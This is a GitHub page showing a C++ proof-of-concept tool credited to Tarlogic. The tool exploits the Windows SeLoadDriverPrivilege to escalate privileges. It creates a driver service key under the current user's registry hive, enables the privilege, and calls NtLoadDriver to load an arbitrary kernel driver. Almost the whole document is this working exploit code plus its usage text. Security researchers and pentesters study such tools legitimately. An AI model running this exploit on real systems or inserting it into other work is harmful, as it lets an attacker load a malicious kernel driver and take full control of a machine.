-
Notifications
You must be signed in to change notification settings - Fork 41
/
eoploaddriver.cpp
307 lines (248 loc) · 6.79 KB
/
eoploaddriver.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
// EoPLoadDriver PoC by Oscar Mallo (Tarlogic)
// If you have any suggestion or problem feel free to open an issue :)
#include "stdafx.h"
#include <Windows.h>
#include <Winternl.h>
#include <tchar.h>
#include <stdio.h>
#include <sddl.h>
#include <shellapi.h>
#include <strsafe.h>
#define REGISTRY_USER_PREFIX _T("\\Registry\\User\\")
#define IMAGE_PATH _T("\\??\\")
ULONG
LoadDriver(LPWSTR userSid, LPWSTR RegistryPath)
{
UNICODE_STRING DriverServiceName;
NTSTATUS status;
typedef NTSTATUS(_stdcall *NT_LOAD_DRIVER)(IN PUNICODE_STRING DriverServiceName);
typedef void (WINAPI* RTL_INIT_UNICODE_STRING)(PUNICODE_STRING, PCWSTR);
NT_LOAD_DRIVER NtLoadDriver = (NT_LOAD_DRIVER)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtLoadDriver");
RTL_INIT_UNICODE_STRING RtlInitUnicodeString = (RTL_INIT_UNICODE_STRING)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlInitUnicodeString");
wchar_t registryPath[MAX_PATH];
_snwprintf_s(registryPath, _TRUNCATE, L"%s%s\\%s", REGISTRY_USER_PREFIX, userSid, RegistryPath);
wprintf(L"[+] Loading Driver: %s\n", registryPath);
RtlInitUnicodeString(&DriverServiceName, registryPath);
status = NtLoadDriver(&DriverServiceName);
printf("NTSTATUS: %08x, WinError: %d\n", status, GetLastError());
if (!NT_SUCCESS(status))
//return RtlNtStatusToDosError(status);
return -1;
return 0;
}
//https://msdn.microsoft.com/en-us/library/windows/desktop/aa446619(v=vs.85).aspx
BOOL SetPrivilege(
HANDLE hToken, // access token handle
LPCTSTR lpszPrivilege, // name of privilege to enable/disable
BOOL bEnablePrivilege // to enable or disable privilege
)
{
TOKEN_PRIVILEGES tp;
LUID luid;
if (!LookupPrivilegeValue(
NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid)) // receives LUID of privilege
{
wprintf(L"[-] LookupPrivilegeValue error: %u\n", GetLastError());
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
if (!AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL))
{
wprintf(L"[-] AdjustTokenPrivileges error: %u\n", GetLastError());
return FALSE;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
{
wprintf(L"[-] The token does not have the specified privilege. \n");
return FALSE;
}
return TRUE;
}
ULONG
CreateRegistryKey(
const LPWSTR RegistryPath,
const LPWSTR DriverPath
)
{
ULONG dwErrorCode;
HKEY hKey;
DWORD dwDisposition;
DWORD dwServiceType = 1;
DWORD dwServiceErrorControl = 1;
DWORD dwServiceStart = 3;
SIZE_T ServiceImagePathSize;
wchar_t registryPath[MAX_PATH], serviceImagePath[MAX_PATH];
_snwprintf_s(registryPath, _TRUNCATE, L"%s", RegistryPath);
_snwprintf_s(serviceImagePath, _TRUNCATE, L"%s%s", IMAGE_PATH, DriverPath);
dwErrorCode = RegCreateKeyExW(HKEY_CURRENT_USER,
registryPath,
0,
NULL,
0,
KEY_ALL_ACCESS,
NULL,
&hKey,
&dwDisposition);
if (dwDisposition != REG_CREATED_NEW_KEY) {
RegCloseKey(hKey);
wprintf(L"RegCreateKeyEx failed: 0x%x\n", dwErrorCode);
return dwErrorCode;
}
ServiceImagePathSize = (lstrlenW(serviceImagePath) + 1) * sizeof(WCHAR);
dwErrorCode = RegSetValueExW(hKey,
L"ImagePath",
0,
REG_EXPAND_SZ,
(const BYTE *)serviceImagePath,
ServiceImagePathSize);
if (dwErrorCode) {
RegCloseKey(hKey);
return dwErrorCode;
}
dwErrorCode = RegSetValueExW(hKey,
L"Type",
0,
REG_DWORD,
(const BYTE *)&dwServiceType,
sizeof(DWORD));
if (dwErrorCode) {
RegCloseKey(hKey);
return dwErrorCode;
}
dwErrorCode = RegSetValueExW(hKey,
L"ErrorControl",
0,
REG_DWORD,
(const BYTE *)&dwServiceErrorControl,
sizeof(DWORD));
if (dwErrorCode) {
RegCloseKey(hKey);
return dwErrorCode;
}
dwErrorCode = RegSetValueExW(hKey,
L"Start",
0,
REG_DWORD,
(const BYTE *)&dwServiceStart,
sizeof(DWORD));
RegCloseKey(hKey);
return 0;
}
LPWSTR getUserSid(HANDLE hToken)
{
// Get the size of the memory buffer needed for the SID
//https://social.msdn.microsoft.com/Forums/vstudio/en-US/6b23fff0-773b-4065-bc3f-d88ce6c81eb0/get-user-sid-in-unmanaged-c?forum=vcgeneral
//https://msdn.microsoft.com/en-us/library/windows/desktop/aa379554(v=vs.85).aspx
DWORD dwBufferSize = 0;
if (!GetTokenInformation(hToken, TokenUser, NULL, 0, &dwBufferSize) &&
(GetLastError() != ERROR_INSUFFICIENT_BUFFER))
{
wprintf(L"GetTokenInformation failed, error: %d\n",
GetLastError());
return NULL;
}
//https://social.msdn.microsoft.com/Forums/vstudio/en-US/6b23fff0-773b-4065-bc3f-d88ce6c81eb0/get-user-sid-in-unmanaged-c?forum=vcgeneral
PTOKEN_USER pUserToken = (PTOKEN_USER)HeapAlloc(
GetProcessHeap(),
HEAP_ZERO_MEMORY,
dwBufferSize);
if (pUserToken == NULL) {
HeapFree(GetProcessHeap(), 0, (LPVOID)pUserToken);
return NULL;
}
// Retrive token info
if (!GetTokenInformation(
hToken,
TokenUser,
pUserToken,
dwBufferSize,
&dwBufferSize))
{
GetLastError();
return NULL;
}
// Check if SID is valid
if (!IsValidSid(pUserToken->User.Sid))
{
wprintf(L"The owner SID is invalid.\n");
return NULL;
}
LPWSTR sidString;
ConvertSidToStringSidW(pUserToken->User.Sid, &sidString);
return sidString;
}
void printUsage()
{
wprintf(L"Tarlogic Security\n");
wprintf(L"Usage: EOPLOADDRIVER.exe RegistryServicePath DriverImagePath\n eg: EOPLOADDRIVER.exe System\\CurrentControlSet\\MyService C:\\Users\\Username\\Desktop\\Driver.sys\n");
}
int main()
{
LPWSTR *szArglist;
int nArgs;
LPWSTR RegistryPath, DriverImagePath;
ULONG dwErrorCode;
int ret = 0;
szArglist = CommandLineToArgvW(GetCommandLineW(), &nArgs);
if (NULL == szArglist)
{
printUsage();
return 0;
}
if (nArgs != 3) {
printUsage();
LocalFree(szArglist);
return 0;
}
RegistryPath = szArglist[1];
DriverImagePath = szArglist[2];
// Get Current Process Token
HANDLE hToken;
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
wprintf(L"[+] OpenProcessToken Failed\n");
goto cleanup;
}
LPWSTR userSidStr;
userSidStr = getUserSid(hToken);
if (userSidStr == NULL)
{
wprintf(L"[+] Error while getting user SID\n");
goto cleanup;
}
dwErrorCode = CreateRegistryKey((LPWSTR)RegistryPath, DriverImagePath);
if (dwErrorCode != 0) {
wprintf(L"[-] Error while creating registry keys: error value %d\n", dwErrorCode);
goto cleanup;
}
// Enable Privileges
wprintf(L"[+] Enabling SeLoadDriverPrivilege\n");
if (SetPrivilege(hToken, SE_LOAD_DRIVER_NAME, true))
wprintf(L"[+] SeLoadDriverPrivilege Enabled\n");
else
{
wprintf(L"[-] SeLoadDriverPrivilege Failed\n");
goto cleanup;
}
ret = LoadDriver(userSidStr, RegistryPath);
cleanup:
CloseHandle(hToken);
hToken = NULL;
LocalFree(szArglist);
return(ret);
}